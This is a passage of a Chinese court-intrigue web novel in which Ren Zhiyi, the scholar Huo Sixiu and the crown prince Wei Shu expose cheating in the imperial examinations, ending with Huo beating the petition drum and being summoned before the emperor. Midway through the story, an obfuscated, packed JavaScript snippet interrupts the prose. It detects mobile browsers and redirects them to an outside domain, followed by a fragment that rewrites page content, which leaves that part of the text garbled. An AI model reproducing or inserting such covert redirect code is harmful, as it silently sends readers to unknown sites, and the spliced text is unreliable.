霍思修看任知宜思索沉默半晌，怕她着恼，忙不迭解释道：“不是霍某不知好歹，只是如今这世道对姑娘家不是那么宽容，我怕会有流言蜚语中伤你们。” 任知宜咬了一小口馄饨，赞同地点点头道：“霍书生，你说得对。” 霍思修心下一松，却听任知宜又道：“霍书生如今已是处在风口浪尖，若是有人借着“德行有亏”为由攻讦，日后倒成了祸患。” “不如这样……”，任知宜微微思索，闪着明眸，“我年方十七，不知霍书生你虚龄几何，不如你我结成异性兄妹，之后便再无惧流言蜚语。” “啊？” 霍思修一怔，张大口说不出话来。 “你不愿意？”任知宜蹙眉，“还是说，你想与宝珠结成异性兄妹？” 宝珠眨着眼睛望过来。 霍思修慌忙摆手，“怎敢不愿！姑娘救吾性命，是霍某高攀了。” “那就这么说定了。”任知宜樱唇微扬，“霍书生，日后你就是我的义兄，明日咱们就去兆京府刘府尹那里做个公证。” “咕咚！” 三人闻声侧望，一个头发花白的卖油老汉不小心摔倒在地，鹿车掀翻，茶油流了一地。 “老人家您没事吧？”霍思修冲上去扶起他。 “……我的油！”老汉痛惜道。 宝珠和任知宜亦上前帮忙，合力将油桶搬回鹿车。 “多谢！多谢！小娘子们真是心善啊！” 任知宜侧目一瞥，鹿车上没有固定油桶的麻绳，亦没有桶盖。 她不着痕迹地后退两步，笑笑问道：“老人家，近来茶油价跌得厉害，生意不好做吧？” 老汉含含糊糊道：“还行吧，都是混口饭 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一柄长剑破空飞来，格开刀刃。 两个黑色劲装男子自墙上飞身而下。 “小姐，你们没事吧？”宝珠擒住假老汉，飞奔而来。 任知宜跌坐在地上，两腿弛软，兀自大口喘着气，“还，还好。” “姑娘打算如何处置他们？” 救她们的人正是林四和他的同伴，殿下有言在先，抓到的人交给任知宜处置。 任知宜走到蒙面人眼前，扯掉领头之人的面罩，露出一张惊惧交加的脸。 “谁派你们来的？” 一片沉默。 任知宜从地上拎了一把刀，搁在那人的颈上，笑靥如花，“我从没拿过刀，手可能不太稳。” “说，说……”，这人哆嗦道：“我家公子让我们给你们点儿教训。” “你家公子是谁？” “宫，宫北楼。” “那他呢？”黑衣男子指着粗衣老汉问道。 “我们，我们不认识这个人。” “哈哈哈！”，粗衣老汉被捆坐在地上，笑声粗粝，透着几分阴狠，“本以为一个女娃子和一个书生好对付地很，没想到今日竟折在此地。” 此人功夫高，绝不是一般护卫随从的身手。 林四捏住他的锁骨，腕上一使力，他登时痛得面色惨白，头上渗出滴滴汗珠。 “他奶奶的！老子这次真是折了！” 粗衣老汉痛得哆嗦，还骂骂咧咧道：“行不更名，坐不改姓，宋老七就是我。” “你是宋老七？”林四解释，“此人是个赏金杀手，在江湖上有些名气。” 任知宜了然，“既然是赏金杀手，便是有人花了重金让他取我二人性命。” “是谁？” 宋老七不屑地偏头，“老子只管收金办事，买主是谁，我不关心，也不知道。” 厮杀了半夜，街上残留着道道血迹，在月光的照耀下分外瘆人。 林四抱剑拱手，“公子说，今日天色已晚，明日在别院等姑娘解释玉韘一事。” “请公子静候，必如约而至。”任知宜凝然应道。 12. 效忠 熹微破夜，天空中泛起鱼肚白。 街上比往常更安静，很多人半夜里听到刀剑声，躲着不敢出来。 直到天明，街上锣鼓喧天，才有人试探着向外望去。 十几个男子被五花大绑在板车上，被人敲锣打鼓地送到兆京府衙。 有人认出，当中有宫家的家仆。 众人听说，纷纷纳罕称奇。 不到半日，京城的流言甚嚣尘上。 霍思修遇刺已成为兆京百姓茶余饭后的新谈资。 ———— 任知宜带着宝珠出城。 “小姐，我们是去太子的别院吗？ 任知宜一夜未睡，靠在马车后壁解乏，“嗯！” 宝珠兴冲冲地问道：“这次还需要翻墙吗？” 任知宜闻言一哂，轻声道：“此事日后不要再提。” 马车停下，两名黑衣男子等在门口，“任姑娘，请！” 进到别院，碧树之下，身影修长如竹，一袭烟灰色布袍，玉笄束发，清贵逼人。 任知宜缓步上前，心潮翻涌。 听闻太子为人清冷自持，御下严苛，她假借太子之名，引徐山长出山，不知太子会作何处置。 “臣女见过殿下。” 卫枢转身，高高的视线落在她低垂的的发顶，似是在细细地打量她。 任知宜垂首敛眉，凝神屏气，维持着端庄的跪姿。 “起来吧。” 声音清如碎玉，透着温煦平和，有如春风拂面。 较之上次狱中相见，太子的态度和缓了不少；任知宜心下微舒，僵挺的肩头缓缓松落下来。 “伪造皇室信物，形同谋逆。” 话语轻飘飘地落下来，重重地砸在任知宜的心口上。她猛地抬头，正对上一双审视的眼眸，淡静无波，却威压深重。 晨露未散，草木初萌，尚透着几分春寒料峭之气。 她呼吸一顿，生生倒抽了一口寒气。 思忖半晌，她重新伏跪下来，恭谨道：“殿下容禀，臣女事急从权，之所以冒天下之大不韪，确是箭在弦上，不得不发。” 卫枢坐下，执壶沁茶，姿态清贵风流。 “若人人都像你这样任意妄为，朝廷法度何在？” 那么，科举舞弊之人又将朝廷法度置于何处？ 任知宜心中暗忖，不以为然。 她垂着头，做出一副聆听训示的乖觉模样，眸色平淡无波，唯有蜷缩的指尖泄露出些许情绪。 “臣女知罪。” 卫枢瞥了她一眼，淡淡道：“去兆京府衙，自领三日牢狱。” 任知宜微怔，没料到会是这种责罚。 转念一想，三日之期，足以令曲江比赋和行刺之事传遍京城，时机刚刚好。 想到这里，她心中多了三分底气，斟酌着问道：“殿下，七日之限已过，不知我父亲的案子……” 卫枢道：“起来说话。” 任知宜又是一怔，越发摸不准太子的性情。 卫枢缓缓道：“孤已派人查过任平。” “……” 任知宜心中一紧，明眸转动。 卫枢望着她，提到她父亲的案子时，她的眼睛里溢满流光，即使今日她未像在曲江时盛妆花钿，仅用一根木笄绾住乌发，也现出几分清灵的生动。 “你父亲官声不错，算得上清正廉洁。” 任知宜惊喜，“殿下明察！” 卫枢啜了口茶，“州仓被盗，证据中有盖着你父亲印鉴的支粮单，户部所下的文书却不翼而飞，此案的确有几分蹊跷。” 任知宜敛起裙裾，屈身跪地。 “求殿下救我父亲。” 风吹柳动，一声雀鸟惊鸣。 半晌过去，未得到预期的回应，她心凉了半截，素手紧握，莹润的指甲陷入掌心，被攥得泛白。 “殿下，臣女的谋局还没有完。” 卫枢执盏的手微微一顿，静静地看着她。 任知宜缓缓抬起头，眼睫微微作颤，“殿下须知，要清解州一党，必要有非常手段不可。臣女愿为阵前之士。” 卫枢薄唇轻勾，噙出凉凉笑意，“你是在要胁孤？” “臣女不敢！” 她在赌。 赌太子，会借她的谋局顺势而为。 大胤文臣在民间享有极高的声望，解州一派更是高高在上。太子早已掌握科举舞弊的证据，可是若要将解州一派连根拔起，就不但要销其形，还要毁其骨。 卫枢默然，瞳眸阗黑，辨不清情绪。 阵风起，天光被浮云遮蔽，一时明，一时暗。 在这漫长的，寂静的等待中，任知宜心头愈沉。 太子心思难测，可是经曲水流觞之后，她已无退路。 父亲面色苍白，挣扎咳血的模样和母亲痛哭流泣的画面在脑海中交织闪过。 她心中一恸，脱口而出道：“虽身弱力薄，此生愿供殿下驱策，死而后已。” 周遭的空气又凝滞了些许，她似乎听到一声微不可察的喟叹。 “你觉得，孤查科举舞弊是为了与解州一派争权？” 声音清冽，娓娓而来，如同静水之下流淌着暗涌。 任知宜对于太子在此时问出这个问题感到意外，顺着卫枢悠长的视线，她亦遥望远方。 雾霭沉沉之中，高山巍峨，山峦叠嶂，若隐若现。 她思忖片刻，坦率道：“不管殿下的目的为何，科举是朝堂最后一方净土，若科举舞弊不除，吏治难清，民心必失。” 卫枢瞥了她一眼，眸中多出些许深意。 片刻后，卫枢沉声道：“任知宜，孤会按你之前信中所写的时机行事。” 任知宜扬起头，眼神闪得发亮，既惊且喜。 “至于你父亲的案子，孤需要一些时间。” “知宜明白。” “最近一段时日，林四和林七会跟着你们，以防不测。” “谢殿下。” ———— 得了太子的承诺，任知宜在大牢中睡得极安稳。 三日牢狱，倏忽而过。 宝珠接她出来的那日，正赶上迁新居。 拜托陆三爷找的宅子定好了，新宅虽小，却是在石方街街尾，离着宫城不远，极为清静。 一个小院，四间房，收拾得干净雅致，任知宜围着院子左转转，右转转，心中满意，更觉欢喜。 宝珠手脚麻利，灶膛添柴，不一会儿，面已滚水下锅。 任知宜特意嘱咐她多做两碗。 霍思修奇道：“今日有客？” “是那日救咱们的两位，一位叫林四，一位叫林七。” 汤面出锅，热气腾腾。宝珠厨艺不错，用了少许小葱和腐乳，面汤香味四溢，闻之食指大动。 日落西 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任知宜暗自揣测，看来京城朝局复杂，文臣结党，同气连枝，不打破这一局面，什么都做不成。 一顿饱食餍足之后，任知宜和霍思修送林四、林七出门。 日气渐散，霞光的绯色缓缓褪去。 不远处，停着一辆罩着青色帷幔的马车。 帷幔被撩起一半，露出一张清隽无双的面容。 林四打了个“请”的手势。 任知宜心中一紧，扯着霍思修缓步上前。 卫枢立于车前，宛若青松俊立。 霍思修见他姿仪出众，不由心生好感。 一顿寒暄，霍思修遗憾道：“可惜魏公子今日有事，不然与林四哥，林七哥一同来家中做客，我也可以与公子畅谈一番。” 卫枢温言，“多有叨扰。” “观公子谈吐，气度，不似一般人家，不知魏公子家中是作何营生？” 卫枢略一迟疑，“家中做官，也有些产业。” “难怪！”霍思修由衷地赞叹。 卫枢礼貌一笑，“霍公子曲水比赋，壮怀慷慨，假以时日，必有大成。” 霍思修赧然，“借公子吉言，我辈苦学多年，一心期盼着为陛下，为百姓一展所长，可惜朝廷不公……” 话说得正起劲，冷不防髌骨一痛，霍思修察觉自己是被任知宜踢了一脚，茫茫然地望了过去，不知道自己说错了什么。 任知宜绷着脸。 “义兄，小妹有些事，想要与魏公子单独商量。” 素月升空，清辉洒落，入夜的空气微凉，流淌着如水的静谧。 目送霍思修离开，任知宜面容微凝，恭谨颔首，“殿下亲自到来，可是有事吩咐知宜？” 卫枢凝视着她，“三日深牢，姑娘倒是安之若素。” 任知宜神情一僵。 “伪造信物，易落人把柄，日后不可为之。” “是。” 接着，卫枢解下腰间的汉玉九龙珏，递给她，“这是孤的随身之物，你且先拿着。” 任知宜双手接过，暗暗地舒了一口气。 马车离开，从车内传出轻飘飘的声音。 “后日辰时，见机行事。” 13. 朝议 卯时，文华门前。 大胤皇宫又名熙宫城，临水而建，外宫城东西南北共四个门，分为溧水门、庆阳门、文正门和宁德门。 正南为文正门，直行可经文华门入内宫，沿皇宫中轴线，越过三千汉白玉阶，为清和殿。 天尚未破晓，宫中内侍分列两侧，等候即将上朝的官员。 按照惯例，大胤官阶在六品以上者方可参与朝会。每日卯时三刻朝会，官员要提前步行至文正门，勘验身份之后再走到到文华门门前侯着。 一个新任的刑部主事小声问身旁同僚：“咱们要在这文华门前等多久啊？” 被问的官员瞧着他是个生面孔，低声道：“你没看见景相没到吗？大家都在等景相。” 小主事“哦”了一声，恍然道：“那若景相今日不来……” 那官员凉凉地瞥了他一眼，“我入朝三载，从未见景相告假过一日。” 话音刚落，哒哒的马蹄声响起，宫侍听到声音，知是景相已到，立刻打开朱漆大门，为官员提灯引路。 景郦在前，众臣跟随在后，走在青石阶路上，步子迈得持重缓平。 清和殿前，卫枢背立在廊庑之外，一袭玄色银丝广袖长袍，雕镂金冠，腰间银色袴带，长身玉立，萧萧风举。 重檐之外，天际破晓微明，露出一团曦光。 众人与太子相互见礼后，一同踏入清和殿。 殿内立有十六根楠木檐柱，其上刻有九龙戏珠纹饰。额枋高丈余，殿顶加红色檀木桁条，衬得整个大殿庄严肃穆。 皇帝驾临，诸臣叩拜行礼，二品以上落座。 “诸卿有事可奏。” 景郦第一个开口：“陛下，老臣与工部司尚书计算过，重修懿华宫大约要耗费十三万四千两银子。” 皇帝温和地点点头，“景卿辛苦了！何时可行修缮？” “陛下，还有一事！”景相的声音沙涩低沉，“户部刚刚收到两份陈请，靖南道节度使和山南道节度使都奏请朝廷下拨军费。” 皇帝面色一沉，“朕记得，靖南道驻军早已整顿缩减，如何又提请军费？” “陛下，去年靖州流民在山间流窜作乱，惊扰过往客商，当时靖南道节度使白坚派兵平乱，朝廷承诺会拨一部分军费给他。” 早不提，晚不提，偏偏在此时提起。 因为今年靖州流民又起纷乱，一度骚扰至应国边界，白坚心知肚明，朝廷不得不管。 皇帝右手扶额，“山南道那边呢？” “郭嘉说，郓国三番两次扰我边界……” “好了！好了！”皇帝感到头痛欲裂，“朕知道了！” 景郦面色无波，颔首道：“今春雨水较多，料想今年会是个丰年。陛下不如再等几个月，赋税收上来后，再行修缮之事。” 皇帝叹了口气，“岁余民丰，国泰民安，朕当心满意足！至于懿华宫，如何能与天下万民相较！此事便依景卿所言。” “陛下圣明。” 曦光透过大殿的窗格，稀稀落落地洒在清和殿的石板上。 日升当空，辰时已至。 卫枢手指轻蜷，侧前一步，颔首进言：“儿臣有事启奏。” 皇帝和言道：“你说！” “儿臣要告礼部尚书肖显秀、礼部侍郎于文崇、太常寺卿钟黎、中书舍人裴宜，十一名解州举子及两名兆京举子，会试进士科科举舞弊。” 卫枢的声音清越，不疾不徐，好似缓缓道出一件寻常事，却是平地惊雷，四方震动。 满朝一片哗然。 中书舍人裴宜被这突如其来的变故吓得双腿颤颤，几乎站不住。 他面色惨白地望向旁边，却见肖显秀和钟黎一个沉郁不言，一个有恃无恐，心中更加惶惶不安。 景郦沉声道：“太子有何凭据？” “这是今年会试解州举子的考卷！”卫枢袖出一摞纸，放在众臣面前。 景郦眸色微变，“会试举子的考卷都由礼部专人封存，殿下从何处得来？” “景相是不是应该先关心一下考卷的内容？” 十三份考卷，铺陈于大殿之上。 浮光斜照，考卷上的墨迹被映照得有几分模糊，却显得愈加刺目。 卫枢淡淡道：“大家手中的这份，乃是孤请一位书画大家按照各举子的字迹誊抄所得，至于原卷，当请礼部解开封存之后，自可一目了然。” 他面朝众臣，朗声道：“今年会试有一题，是论《公羊传》“臣义而行，不待命”。大家请看，这些卷上的回答几乎完全一致。” 几位翰林院的老学士凑过来，细细地看了又看，面色变得愈加凝重。 “各位都出身于明经和进士两科，熟知经史策论，当知此论各有所解，断不会出现有这种情况。” “太子所言是真的？”皇帝似是不敢置信，沉声道：“诸卿倒是说话啊！” 卫枢面若寒冰，不怒自威，众臣噤若寒蝉，整个大殿陷入死一般的静寂。 卫枢的目光逡巡片刻，最终落在翰林院大学士范昉身上，“敢问范大人，如此回答若还不算舞弊的话，岂不是天大的笑话？” “岂有此理？竖子坏我朝纲！”范昉尚未答话，翰林院的老明经姚学士先跳起来怒骂，整个人气到发抖，几乎要晕厥过去。 “好大的胆子！”，皇帝一掌拍在扶几上，震得茶盏滚落，碎裂四散。 众臣伏地，“陛下息怒！” “反了天了！”皇帝怒极，“礼部的人呢……今科主考是谁……统统给朕滚出来！” “儿臣查到，春闱之前礼部侍郎于文崇的儿子于靳与解州举子方荣在凌香阁密会，将考题给予方荣，再由方荣转手，共计卖出十一份考题，买家全是解州举子，每份要价一万两银子。” 卫枢转身，“这是凌香阁舞姬的证词，请父皇过目！” “于文崇他人呢？”皇帝厉声问道。 内侍赶紧回道：“于大人因病告假，现在应该还在府中，太子已着人去拿。” 皇帝缓了口气，“此事又与肖显秀、钟黎还有裴宜有何关系？” 卫枢视线扫过三人，声音清冷如水，“肖尚书既是礼部尚书，又是今科主考，他将考题借于文崇之手传于解州举子，一来是利益驱动，为钱所惑，二来是为壮大解州在朝堂之上的威望。” “至于另外两位……”，卫枢冷眼瞥向一脸平静的钟黎，声音愈冷，“钟黎和裴宜二人身为朝官，知法犯法，为保其子仕途，同样行賕肖显秀。” 裴宜闻言，心胆俱裂，倏地跪在地上，两股战战，“臣，臣……” “殿下！”肖显秀突然出声，声音带着几分暗哑，“臣有辩解。” 卫枢唇角噙出一抹 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卫枢的视线扫过殿中大臣，人人低头无言，都像是在等待着什么人先开口。 他冷冷一笑，上前奏言道：“儿臣恳请父皇，立刻彻查会试科举舞弊一案，并推迟下个月的殿试，待案子结束之后再行定夺。” “殿下！”景郦突然沉声道：“兹事体大。肖尚书尚未认罪，怎可轻言推迟殿试。” “既然景相认为肖尚书无罪，不如请大理寺查实，当可还他清白。” 景郦怫然，“科举大事，乃是天下读书人的头等事。此事一经传出，朝廷威望何存？殿下就不怕酿出文祸？” “景相所言甚是！”户部尚书柳德上前进言：“此事不宜广为周知。况且解州举子中，真才实学者不知凡几……” 苏叶故作惊讶地提醒道：“柳尚书您可能还不知道，之前解州乡试榜首宫北楼在曲江败于房州霍思修后，他竟然挟怨报复，派了十几名家丁去打杀霍举子……” 柳德一噎，愤愤地瞪了苏叶一眼。 景郦从交椅上缓缓站起身来，朝着皇帝躬身行礼，声音低沉哑肃，“陛下，老臣不是解州人，亦不认识什么宫北楼。老臣只知道，此等事断不可与朝纲稳固相提并论。文祸一起，会动摇国本。请陛下三思！” “请陛下三思！” “请陛下三思！” 一时间，朝臣纷纷附议。 “咚……咚……咚！”，远处传来重重的擂鼓声，一捶，一声，一捶，一声，每一下都像擂在心门之上。 众人皆愕，这是何处的鼓声？ 皇帝亦惊然立起，望向鼓声传来的方向。 “是文正门前的登闻鼓！” 登闻鼓，乃大胤建国之初太祖所立，旨在广开言路，上达圣听，擂鼓状告者不计其数。 直到有一年，有人擂鼓告县令贪腐，最后三司核查后，证实此人乃乡间地痞，属于恶意诬告。当时皇帝极为震怒，下令以绞刑处死了擂鼓者，并声明若再有诬告，必处以极刑。 自此，登闻鼓为世人所惧，已有十数年未响起。 宫侍急匆匆跑进殿内，“回陛下，房州举子霍思修在宫外擂登闻鼓，告今科会试进士科，科举舞弊！” 鼓声风雷动，一夕震九州。 14. 擂鼓 登闻鼓，立于文正门前的高台之上，径约六尺，敲响之际，可声传数里。 每日，宫门前负责洗扫的宫人都会顺道擦拭上面的灰尘，只是鼓身太高，宫人无力顾及的地方，便经常敷衍了事。久而久之，原本明黄色的鼓变得色泽暗淡，鼓上尽是斑驳的痕迹。 不远处的茶楼上，任知宜倚栏远望着那面鼓，“你真得想好了？” “嗯！” “若是告不赢……”，任知宜面带犹豫，“可能性命难保！” 霍思修笑道：“岂止没命？弄不好会把身上的肉一片一片地绞下来。” 任知宜脸色倏变。 “哈哈！你终于也有被我吓到的时候！”霍思修不在意地笑道：“你放心吧！陛下是仁德之君。” “等等……”，任知宜思忖半响，终于开口道：“在你决定做这件事之前，我有话跟你说。” 霍思修依言坐下，静静地听着。 任知宜丹唇微抿，声音透着几分涩意，“我曾经说过我帮你是出于私心。因为我父亲含冤入狱，求助无门。我知晓朝中有位贵人在查科举舞弊，所以自请效力。” 霍思修瞪大了眼睛，不敢置信道：“你说的贵人莫不是那位魏公子？” “不错！”任知宜别过脸，望着远处的浮云聚了又散，飘忽不定。 霍思修默了半晌，哑然失笑，“原来如此！你能选择告诉我，证明我这个义兄总算不是假的。” 任知宜秀眉蹙起。 霍思修不以为然道：“对我来说，你们怀有什么目的并不重要，重要的是我自己亦想这么做。” 云层散去，光束打在霍思修白色如意长衫上，折射出耀目的光晕。 任知宜的心，像是被烈火淬过一般，升腾的激荡渐渐冷却下去。 霍思修朗声笑道：“若不是你救我，我早已成了一缕孤魂，也做不到痛骂李佑康的畅快事儿！自从曲水流觞之后，我便下定决心，要还自己一个公道，还天下学子一个公道。” 任知宜眼睫微颤，眸色幽暗。 落在霍思修眼里，他突然站起身来，澄亮的眼神温润而泽，“知宜，别忘了你告诉我的话——行前路，莫回头！” 任知宜望着他的笑容，心中五味杂陈。 “况且……”，霍思修低声道：“你不是说了嘛！咱们还有魏公子这位贵人相助！” 任知宜望向文正门内掩住的层层宫墙，不知道那里面又是怎样的波谲云诡，她眸色几经变换，“好！走吧！我与你一道。” ———— “春事何如，细草如烟，莺莺燕燕春春，良辰美景，暮暮朝朝……”。 街边有人抱琴弹唱，声音袅袅。 二人踏步前行，沿路春景甚好，杨柳三月，最是一年中须记的时节。 霍思修登上高台，拎起鼓槌，深深吸了一口气。 “什么人？干什么呢？” 文正门的守卫见有人要擂登闻鼓，挥戟大喝。 任知宜一边望着天估算时辰，一边答道：“擂登闻鼓！” 这句话，算是回答了文正门的守卫！ 守卫吃了一惊，“此处乃宫门，尔等放肆！” 任知宜玉容冷肃，声音若静水流深，“大胤律疏第一卷，太祖设登闻鼓，无论士绅商贾，抑或贩夫走卒，有冤难申者皆可捶响登闻鼓，由陛下亲审。你是什么人，敢逆太祖之令？” 守卫见任知宜姿容出众，气势逼人，在高台前微微迟疑了一下。 正是这一迟疑，震天的擂鼓声已然敲响。 “我乃房州举子霍思修，状告今科会试进士科科举舞弊，跪请圣裁……” 咚咚的擂鼓声与霍思修高亢的声音交替响起，四面八方的百姓闻声而来，全都涌至文正门前。 天边，云散日明，曦和熠熠。 —— 人潮汹涌，任知宜被推搡着挤出高台。 她回到茶楼，远远望着登闻鼓。 茶楼离着文正门不过百步，二人原本的位子上坐着一位陌生的公子。 玉树兰芝，遥若青山，是男子中绝少见到的好样貌，说一句宋玉在世亦不为过。 “占了姑娘的位子，抱歉！”那公子淡淡笑道。 任知宜随意笑笑，“无妨！” 林四俯身，附耳低声道：“姑娘，他是景相家的二公子，景随！” 任知宜一愕，旋即起身，落落大方地坐到景随的对面，“我坐这里，可会打扰到公子？” “姑娘随意！”景随和言道。 任知宜的视线越过长街，落在高台前的登闻鼓上。 鼓下的人越聚越多，人声鼎沸，霍思修的身影立于其中，显得格外渺小。 任知宜暗自打量着景随，长眉斜飞，眸色清明，周身透着一股清冷之意。 “公子似乎不关心擂鼓之事？” “姑娘关心的是你的朋友，可是此事与我何干？” 任知宜秀眉微挑，“听公子的口气，好像不太认同我朋友的举动！” “书生意气，螳臂当车！”景随斟茶自饮，举手投足皆是清贵之姿。 任知宜眸光潋滟，盈盈笑问道：“何以见得？” “南衙距此处不过三里，你猜监门卫几时会到！” 话音刚落，整齐的踏步声从远处传来。 “南衙监门卫郎将严风在此，不相干之人速速退下。” 百姓惧怕府卫刀兵，人群倏地像潮水一般退了下去，让开一条阔路。 “下来！”严风肃然而立，寒刀出鞘，直指霍思修。 霍思修放下鼓槌，缓缓转身。 不远处的茶楼上，任知宜目睹这一切，眸色晦暗不明，监门卫来得好快！ 她看向景随，他还是淡然自若，似乎对一切都漠不关心。 “听闻景公子乃是今科会试榜首！有人告会试科举舞弊，公子不恼怒？” “呵……”，景随笑若清风，“任姑娘有时间关心景某，不如去帮一下霍公子。” 彼此的身份都已挑明，二人索性都不装了。 任知宜眼睛紧盯着登闻鼓的方向，“景公子可有高见？” “严风此人行事大胆果敢，且手段阴狠。” 回想起那一夜在客栈里的盘查，任知宜攥紧手掌，手心变得愈加冰凉。 当断不断，反受其乱。 她蓦地站起身，甩下一句“多谢景公子提醒”，拔腿走人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127493|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着她匆忙奔下楼梯的背影，景随敛住唇边笑意，清醇的声音响在身后。 “任姑娘，景某就在这里，等着看你们的结局！” 好狂的口气！ 任知宜绷着小脸，脚下如风，朝着登闻鼓奔去。 到达时，监门卫的刀尖正刺在霍思修的脖颈上，红色的血滴冒了出来。 任知宜心胆俱颤，高声喊道：“慢着！” 严风眯着鹰隼般的双眼，将她从头到脚打量了一遍。 “是你？” 严风阴鹜地笑了笑，“没想到，本将居然也有走眼的时候！” “还未审讯，大人凭什么当街诛杀擂响登闻鼓之人？” 严风朝着众人朗声道：“南衙卫接到密信，此人乃当年嘉以之乱的叛军余孽，要借着擂响登闻鼓的机会，意图行刺陛下。为保陛下安宁，当杀一儆百。若有差错，南衙卫愿一力承担。” 听了这冠冕堂皇的理由，任知宜差点咬碎一口贝齿。 严风好谋算！只要杀了霍思修，死无对证，一切都将被掩盖。 人群一片安静。 霍思修满眼愤怒，“你们放开我！我要见陛下！” 严风拽起他的衣领，俯身耳语道：“下，辈，子，吧！” 他冷笑一声，背过身去，右手一扬。 日光照在刀刃上，借着反射的光，他瞥见任知宜的唇角微微勾起，释出一丝得意的笑容。 严风手下一顿，回身刹那，瞥见任知宜来不及掩饰的笑容凝结在面上。 他微微迟疑，眸中疑窦丛生。 不过片刻，远处陡然传来破空之声，“噹”地一声，震落掉霍思修颈前的长刀。 宝珠飞身一跳，左右各一脚，将箍着霍思修的监门卫踹翻在地。 紧接着，刘府尹带着大批兆京府卫赶到。 严风猛地惊醒，看向任知宜的目光淬满了毒，“你刚才是故意作戏给我看？” 任知宜拭掉掌心的汗，缓缓道：“大人生性多疑，是优点，也是弊端。” 严风目眦欲裂，“当初，就该杀了你。” “大人何必如此！肖显秀已成弃子，景相知晓今日，恐怕还要庆幸保住了大人。” 严风瞥见刘府尹跑得气喘吁吁的狼狈样子，阴笑道：“姑娘诡诈多谋，不过今日就凭他，恐怕是走不了。” 他横刀入鞘，发出咣啷一声，“刘府尹，你敢抢我监门卫的人？” 刘府尹瑟缩了一下，硬着头皮道：“既然是发生在兆京的事，本府自是不能推卸责任。” “若是本将军今日不让呢？” 刘府尹深吸了一口气，“严大人，太祖、太宗之时，有人敲登闻鼓，都是先由兆京府接手，而后待圣裁。” “陈年旧事，本将军管不着。今日我就是不让，你待如何？” “那，那……”，刘府尹咽了咽口水，“本官也不能让！” “刷刷……”，监门卫兵齐齐拔出刀来。 “刷刷……”，兆京府兵亦齐齐拔出刀来。 僵持了约摸一炷香的时间，众人忽闻快马蹄声，文正门豁地被从内打开。 侍卫未及下马，便高喊道：“陛下有令，宣霍思修入宫觐见。” 15. 入殿 宫中空寂，不闻鸟鸣，领路的侍卫和宫人俱默不作声。 殿群重檐重顶，巍峨端肃，霍思修抬眼望去，春日的晴空也似要压降下来，令人喘不动气。 清和殿近在眼前，他深深地提起一口气，踏步进去。 “学生房州举子霍思修，叩见陛下。” “平身！” 皇帝声音和缓，“霍思修，你敲响登闻鼓，告今科会试存在科举舞弊，可有凭据？” “学生亲耳听到解州举子罗汉说，他与李佑康二人买下科考试题。他醉酒后向学生吐露过其中的内容，正是会试考题，分毫不差。” 有官员问道：“或许是凑巧呢？” “初时学生也不敢断定……”，霍思修继续道：“后来会试放榜，学生发现罗、李竟然高中，学生与他们曾经同在松石书院求学数月，深知他们的才学，若无舞弊，绝不可能高中。” 众臣闻言，皆面露惊诧。 原以为霍思修手中握着什么十足的证据，却没料到他只是凭着一点猜测，就冒着被处以极刑的风险敲响登闻鼓。 若不是太子进言在前，兆京府衙搅局在后，一个小小的举子，无凭无据，可能来不及得见圣颜，便早已被监门卫斩于鼓下。 景郦面沉如水，不发一言。 卫枢道：“一鼓敲，天下震。如今百姓知晓，朝廷不可能再遮掩下去，只有查明真相，还天下举子一个公道，才能挽回朝廷的威信。” 听到这个声音，霍思修惊地抬起头，是魏公子！ 玄色银丝广袖长袍之上，袖着四爪龙纹…… 霍思修眼前一黑，此卫非彼魏，卫乃国姓……所以，任知宜所说的，要查科举舞弊的贵人便是当朝太子卫枢。 霍思修低下头，半阖双目，掩掉眼底的惊骇。 皇帝问道：“太子觉得，该如何应对？” “儿臣建议，由大理寺核查舞弊一案，儿臣、景相和翰林院姚学士监查审理，一经查实，重开会试进士科。” 柳德本欲开口，偷偷觑了一眼景郦，又按捺了下来。 大殿静寂了片刻，有宫侍来报：“安州刘泰，带着十多名举子跪在文正门前。” 卫枢神情一顿，“他们所求为何？” “刘泰说，既然科举有舞弊之嫌，他们希望朝廷重开会试，还其清名。” 卫枢眸色微变，刘泰此举，定是安州王何卢的授意。顺势而为，击溃解州一派，何卢才能将势力插进这个密不透风的朝廷。 这个党同伐异的顺水人情，他还不得不要。 皇帝沉吟半晌道：“如今有贡士要求自证其名，诸卿对太子之提议，可还有异议？” 景郦站起身来，沉声应道：“臣无异议！” 众臣附议。 “好！”皇帝道：“宣朕旨意，将肖显秀、于文崇、钟黎、裴宜和一干举子暂押入狱，令大理寺主理，太子、景相、姚学士监查，七日后三堂公审。 废今科会试贡士之名，通知各道、州、县，四月十五日重开会试进士科。” “遵旨！” 皇帝顿了一下，继续道：“将霍思修关押大理寺刑狱。” ———— 文正门前，圣旨宣读完毕，百姓之间一片沸腾。 任知宜站在人群中，望着文正门内深不可及的宫墙，有一种如释重负之感。 父亲曾说过，科举乃是大胤官场的最后一方净土，如今女儿也算尽了一份力…… 宝珠问道：“小姐，为什么还要关着霍书生？” “只是一时的。而且他在牢里，比在别处更安全。” “今日真得好险，差一点，霍书生就要命丧那严风剑下。”宝珠拍着胸口后怕道：“都怪那个刘府尹，磨磨唧唧的，不敢前来。” “你绑他来的？”任知宜笑道。 “我将小姐给的汉玉九龙珏拿出来，说是太子之命，他才犹犹豫豫地答应了。” 玉珏冰寒沁凉，握在掌心里也不暖。 任知宜苦笑，“太子答应帮我们调查父亲的案子，日后我可能回不去灵州了。” 柳絮纷飞，一团团地飘落于掌心，缠绕在玉珏上。 她怔怔地看着，不自觉地出神。 宝珠心大，不以为意道：“小姐去哪儿，我就去哪儿。待得老爷出狱，再同太子殿下求求情。女子终归是要嫁人的，太子也不像是不通情理之人。” 任知宜听她宽慰，笑了笑。 “小姐，还有个事。”宝珠嗫嚅道：“这几日租宅，打探消息，家中剩的银子不多了。” 任知宜微讶，“还剩多少？ 宝珠叹了口气道：“之前赚的约略还剩一半。” 任知宜扶额，此时此刻她真想去问问太子，效力东宫，可有俸禄？ 飘忽的目光掠过文正门前渐渐散去的百姓，似乎所有人都在谈论着擂响登闻鼓的事情。 ———— 